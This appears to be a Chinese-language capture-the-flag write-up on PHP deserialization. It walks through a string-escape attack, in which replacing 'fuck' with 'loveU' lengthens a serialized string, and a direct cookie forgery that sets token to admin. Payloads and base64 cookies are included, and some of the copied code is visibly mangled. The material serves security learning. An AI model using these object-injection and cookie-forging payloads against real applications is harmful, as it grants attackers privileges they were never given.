- 代码审计
```php <?php
/*
-- coding: utf-8 --
@Author: h1xa
@Date: 2020-12-03 02:37:19
@Last Modified by: h1xa
@Last Modified time: 2020-12-03 16:05:38
@message.php
@email: h1xa@ctfer.com
@link: https://ctfer.com
*/
error_reporting(0); class message{ public $from; public $msg; public $to; public $token=’user’; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } }
$f = $_GET[‘f’]; $m = $_GET[‘m’]; $t = $_GET[‘t’];
//判断传参是否有值 if(isset($f) && isset($m) && isset($t)) { //创建对象 $msg = new message($f,$m,$t); //这里将序列化中的fuck字符替换成loveU $umsg = str_replace(‘fuck’, ‘loveU’, serialize($msg)); //设置cookie,进行base64编码 setcookie(‘msg’,base64_encode($umsg)); echo ‘Your message has been sent’; }
highlightfile(_FILE);
2. 注释里面还提示了一个`message.php`页面
```php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
//魔术方法,当对象被创建时自动调用
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
//检查接收的Cookie是否有值
if(isset($_COOKIE['msg'])){
//将cookie值进行base64解码再进行反序列化
$msg = unserialize(base64_decode($_COOKIE['msg']));
//当对象的成员token属性值为admin,则输出flag
if($msg->token=='admin'){
echo $flag;
}
}
- 这里有两种解法,先说预期解法,因为在
index.php
中,需要传递参数进行序列化,并对fuck
进行替换字符串,再设置cookie值,在替换fuck
时,原本序列化的长度为4,替换之后的文本为loveU
,长度为5,再进行反序列化时就会有一个字符会被逃逸出来,当我们写的fuck
足够多的时候,就可以逃逸出来我们构造的恶意代码。 - 在
message.php
中会反序列化接收到的cookie值,并且在token==admin
才会输出flag
,那么我们先输出一下原本序列化后的结果
```php <<?php class message{ public $from; public $msg; public $to; public $token=’user’; public function __construct($f,$m,$t){
} }$this->from = $f; $this->msg = $m; $this->to = $t;
$f = ‘a’; $m = ‘b’; $t = ‘c’; $a=new message($f,$m,$t); echo serialize($a); //O:7:”message”:4:{s:4:”from”;s:1:”a”;s:3:”msg”;s:1:”b”;s:2:”to”;s:1:”c”;s:5:”token”;s:4:”user”;} //可以看到我们需要修改的就是这一部分”;s:5:”token”;s:4:”user”;} ?>
5. payload就应该为`";s:5:"token";s:4:"admin";}`,一共27个字符,每构造一次`fuck`被替换可以逃逸出来一个字符,那就需要构造27个`fuck`,来替代`payload`,反序列化时`"`刚好闭合前面的,让后面的`payload`作为反序列化的字符串被执行出来。
```php
<?php
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f='a';
$m='b';
$t='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
$msg = serialize(new message($f,$m,$t));
echo $msg.'<br>';
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
$b=str_replace("fuck","loveU",$msg);
echo $b.'</br>';
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
echo base64_encode($b);
//Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO3M6MToiYSI7czozOiJtc2ciO3M6MToiYiI7czoyOiJ0byI7czoxMzU6ImxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVSI7czo1OiJ0b2tlbiI7czo1OiJhZG1pbiI7fSI7czo1OiJ0b2tlbiI7czo0OiJ1c2VyIjt9
?>
- 利用工具提交就行了,可以参考一下y4大佬的php反序列化笔记
- 非预期解法,因为
message.php
只对传递cookie值进行反序列化中的token==admin
进行检验,那么我们直接构造token='admin'
就可以了<?php class message{ public $from; public $msg; public $to; public $token='admin'; } echo base64_encode(serialize(new message())); //Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO047czozOiJtc2ciO047czoyOiJ0byI7TjtzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9 ?>